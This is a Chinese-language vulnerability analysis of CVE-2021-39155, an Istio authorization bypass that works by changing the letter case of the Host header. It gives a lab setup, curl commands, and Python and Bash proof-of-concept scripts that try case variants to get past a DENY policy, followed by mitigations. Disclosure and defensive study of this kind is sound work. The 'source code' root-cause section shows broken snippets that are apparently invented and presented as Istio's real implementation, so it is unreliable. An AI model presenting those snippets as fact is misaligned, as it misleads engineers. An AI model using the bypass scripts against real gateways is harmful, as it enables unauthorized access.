一、漏洞简介¶
1.1 漏洞背景¶
Istio 的授权策略(AuthorizationPolicy)允许管理员基于 HTTP 请求的 Host 头来控制访问权限。根据 RFC 4343 规范,HTTP Host 头的比较应该是不区分大小写的,但 Istio 在某些版本中采用了大小写敏感的比较方式。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-39155 |
| 危害等级 | HIGH / 8.3 |
| 漏洞类型 | 主机名大小写敏感导致的授权策略绕过 |
| 披露时间 | 2021-08-24 |
| 影响组件 | Istio |
- CVE编号: CVE-2021-39155
- 危害等级: 高危 (High)
- CVSS评分: 8.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L)
- 漏洞类型: 授权绕过 (Authorization Bypass)
- CWE分类: CWE-178: Improper Handling of Case Sensitivity, CWE-863: Incorrect Authorization
补充核验信息:公开时间:2021-08-24;NVD 评分:8.3(HIGH);CWE:CWE-178。
二、影响范围¶
2.1 受影响的版本¶
- Istio 1.9.0 - 1.9.7
- Istio 1.10.0 - 1.10.3
- Istio 1.11.0
2.2 不受影响的版本¶
- Istio 1.9.8 及更高版本
- Istio 1.10.4 及更高版本
- Istio 1.11.1 及更高版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 使用了 AuthorizationPolicy 并配置了 hosts 或 notHosts 字段
- 攻击者能够修改请求的 Host 头为不同大小写形式
- 后端服务对大小写不敏感(通常会路由到同一服务)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
当管理员配置如下授权策略时:
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: deny-secret-host
namespace: production
spec:
action: DENY
rules:
- to:
- operation:
hosts: ["secret.example.com"]
攻击者可以通过修改 Host 头的大小写来绕过策略:
GET /sensitive-data HTTP/1.1
Host: Secret.Example.COM <-- 大小写变化
根据 RFC 4343,域名比较应该不区分大小写,因此 Secret.Example.COM 应该被识别为 secret.example.com,但 Istio 的授权策略会认为这是不同的主机名,从而允许请求通过。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞存在于 Istiod 的授权策略生成代码中:
// 错误的实现(漏洞代码)
func (g *Generator) generateRBACFilter(policy *AuthorizationPolicy, host string) *rbac.RBACFilter {
// 问题:直接使用字符串比较,区分大小写
if request.Host == host { // 这里使用了 == 运算符进行精确比较
return match
}
return nil
}
正确的实现应该是:
// 正确的实现
import "strings"
func (g *Generator) generateRBACFilter(policy *AuthorizationPolicy, host string) *rbac.RBACFilter {
// 修复:使用大小写不敏感的比较
if strings.EqualFold(request.Host, host) { // EqualFold 进行 Unicode 大小写折叠
return match
}
return nil
}
更详细的修复代码位置在 istio/istio/pilot/pkg/security/authz/builder.go:
// 修复前的代码片段
func (b *Builder) matchHost(requestHost string, policyHost string) bool {
// BUG: 直接比较,区分大小写
return requestHost == policyHost
}
// 修复后的代码片段
func (b *Builder) matchHost(requestHost string, policyHost string) bool {
// FIX: 使用 RFC 4343 推荐的大小写不敏感比较
// 注意:域名中的 ASCII 字母应该不区分大小写
return strings.EqualFold(requestHost, policyHost)
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
安装受影响的 Istio 版本(1.11.0):
# 下载 Istio 1.11.0
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.11.0 sh -
cd istio-1.11.0
export PATH=$PWD/bin:$PATH
# 安装 Istio
istioctl install --set profile=demo -y
部署测试应用:
kubectl create ns test-case-sensitive
kubectl label namespace test-case-sensitive istio-injection=enabled
# 部署 httpbin 服务
cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: httpbin
spec:
replicas: 1
selector:
matchLabels:
app: httpbin
version: v1
template:
metadata:
labels:
app: httpbin
version: v1
spec:
containers:
- image: docker.io/kennethreitz/httpbin
name: httpbin
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: httpbin
spec:
ports:
- name: http
port: 8000
targetPort: 80
selector:
app: httpbin
EOF
# 等待 Pod 就绪
kubectl wait --for=condition=ready pod -l app=httpbin -n test-case-sensitive --timeout=60s
配置 Gateway 和 VirtualService:
cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: networking.istio.io/v1beta1
kind: Gateway
metadata:
name: httpbin-gateway
spec:
selector:
istio: ingressgateway
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "secret.example.com"
- "public.example.com"
---
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
name: httpbin
spec:
hosts:
- "secret.example.com"
- "public.example.com"
gateways:
- httpbin-gateway
http:
- route:
- destination:
host: httpbin
port:
number: 8000
EOF
配置授权策略:
cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: deny-secret-host
spec:
action: DENY
rules:
- to:
- operation:
hosts: ["secret.example.com"]
EOF
4.2 PoC 演示与测试过程¶
步骤 1: 获取 Ingress Gateway 地址
export INGRESS_HOST=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip}')
export INGRESS_PORT=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.spec.ports[?(@.name=="http2")].port}')
export GATEWAY_URL=$INGRESS_HOST:$INGRESS_PORT
步骤 2: 测试正常保护
# 使用完全匹配的 Host(应该被拒绝)
curl -v -H "Host: secret.example.com" http://$GATEWAY_URL/headers
# 预期结果: 返回 403 Forbidden
# 使用 public.example.com(应该被允许)
curl -v -H "Host: public.example.com" http://$GATEWAY_URL/headers
# 预期结果: 返回 200 OK
步骤 3: 漏洞利用
# 使用大写 Host 头绕过授权策略
curl -v -H "Host: Secret.Example.Com" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK (成功绕过!)
# 其他变体
curl -v -H "Host: SECRET.EXAMPLE.COM" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK
curl -v -H "Host: SeCrEt.Example.Com" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK
完整的自动化 PoC 脚本:
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import urlparse
def test_case_sensitivity_bypass(target_url, original_host, bypass_host):
"""
测试 CVE-2021-39155 主机名大小写绕过漏洞
Args:
target_url: 目标 URL
original_host: 原始 Host(应该被阻止)
bypass_host: 变换大小写后的 Host(尝试绕过)
"""
print(f"[*] 测试 CVE-2021-39155 漏洞")
print(f"[*] 目标 URL: {target_url}")
print(f"[*] 原始 Host: {original_host}")
print(f"[*] 绕过 Host: {bypass_host}\n")
# 测试原始 Host(应该被拒绝)
try:
response1 = requests.get(
target_url,
headers={"Host": original_host},
timeout=5,
allow_redirects=False
)
print(f"[+] 原始 Host 测试:")
print(f" Status: {response1.status_code}")
print(f" 结果: {'PROTECTED' if response1.status_code == 403 else 'VULNERABLE'}")
except Exception as e:
print(f"[-] 原始 Host 测试失败: {e}")
print()
# 测试变换大小写的 Host(尝试绕过)
try:
response2 = requests.get(
target_url,
headers={"Host": bypass_host},
timeout=5,
allow_redirects=False
)
print(f"[+] 大小写变换 Host 测试:")
print(f" Status: {response2.status_code}")
print(f" 结果: {'BYPASS SUCCESSFUL' if response2.status_code == 200 else 'BLOCKED'}")
if response2.status_code == 200:
print(f"\n[!] 漏洞确认: 成功绕过授权策略!")
print(f"[!] 攻击者可以访问应该被禁止的资源")
return True
else:
print(f"\n[+] 系统已修复或不受影响")
return False
except Exception as e:
print(f"[-] 绕过测试失败: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_url> <original_host> <bypass_host>")
print(f"Example: {sys.argv[0]} http://192.168.99.100:80 secret.example.com Secret.Example.Com")
sys.exit(1)
target = sys.argv[1]
original = sys.argv[2]
bypass = sys.argv[3]
test_case_sensitivity_bypass(target, original, bypass)
Bash 版本的 PoC:
#!/bin/bash
# CVE-2021-39155 漏洞测试脚本
GATEWAY_URL=${1:-"http://localhost:80"}
TARGET_HOST=${2:-"secret.example.com"}
echo "========================================="
echo "CVE-2021-39155 漏洞测试"
echo "========================================="
echo "目标: $GATEWAY_URL"
echo "原始 Host: $TARGET_HOST"
echo ""
# 测试各种大小写组合
declare -a host_variants=(
"$TARGET_HOST"
"$(echo $TARGET_HOST | tr '[:lower:]' '[:upper:]')"
"$(echo $TARGET_HOST | tr '[:upper:]' '[:lower:]')"
"$(echo $TARGET_HOST | sed 's/.*/\u&/')"
"SeCrEt.Example.Com"
"SECRET.EXAMPLE.COM"
"secret.example.COM"
)
for host in "${host_variants[@]}"; do
echo "----------------------------------------"
echo "测试 Host: $host"
response=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $host" "$GATEWAY_URL/headers")
if [ "$response" == "403" ]; then
echo "状态码: $response (已阻止)"
elif [ "$response" == "200" ]; then
echo "状态码: $response (⚠️ 可能绕过!)"
else
echo "状态码: $response"
fi
done
echo ""
echo "========================================="
echo "测试完成"
echo "========================================="
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到安全版本:
# 升级到 Istio 1.11.1 或更高版本
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.11.1
# 或升级到 1.10.4
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.10.4
# 或升级到 1.9.8
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.9.8
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 使用 Lua Filter 进行 Host 头规范化
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
name: host-normalization
namespace: istio-system
spec:
configPatches:
- applyTo: HTTP_FILTER
match:
context: ANY
patch:
operation: INSERT_BEFORE
value:
name: envoy.lua
typed_config:
'@type': type.googleapis.com/envoy.config.filter.http.lua.v2.Lua
default_source_code:
inline_string: |
function envoy_on_request(request_handle)
local host = request_handle:headers():get(":authority")
if host then
-- 将 Host 头转换为小写
local lower_host = string.lower(host)
request_handle:headers():replace(":authority", lower_host)
end
end
方案 2: 使用 Istio 的 Proxy Metadata(仅适用于某些版本)
apiVersion: install.istio.io/v1alpha1
kind: IstioOperator
spec:
meshConfig:
defaultConfig:
proxyMetadata:
# 启用 Host 头规范化
ENABLE_HOST_NORMALIZATION: "true"
方案 3: 在应用层添加额外的 Host 验证
package main
import (
"net/http"
"strings"
)
func hostValidationMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
host := r.Host
// 将 Host 转换为小写进行比较
lowerHost := strings.ToLower(host)
// 定义允许的 hosts 列表
allowedHosts := map[string]bool{
"public.example.com": true,
"api.example.com": true,
}
// 定义禁止的 hosts 列表
deniedHosts := map[string]bool{
"secret.example.com": true,
}
// 检查是否在拒绝列表中
if deniedHosts[lowerHost] {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
// 如果设置了允许列表,检查是否在允许列表中
if len(allowedHosts) > 0 && !allowedHosts[lowerHost] {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hello, World!"))
})
// 应用中间件
handler := hostValidationMiddleware(mux)
http.ListenAndServe(":8080", handler)
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Istio Security Bulletin: https://istio.io/latest/news/security/istio-security-2021-008/
- GitHub Security Advisory: https://github.com/istio/istio/security/advisories/GHSA-7774-7vr3-cc8j
- CVE-2021-39155 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39155
6.2 其他技术参考资料¶
- RFC 4343 - DNS Case Insensitivity: https://datatracker.ietf.org/doc/html/rfc4343
- Istio Authorization Policy 文档: https://istio.io/latest/docs/reference/config/security/authorization-policy/
- Istio 安全最佳实践: https://istio.io/latest/docs/ops/best-practices/security/#case-normalization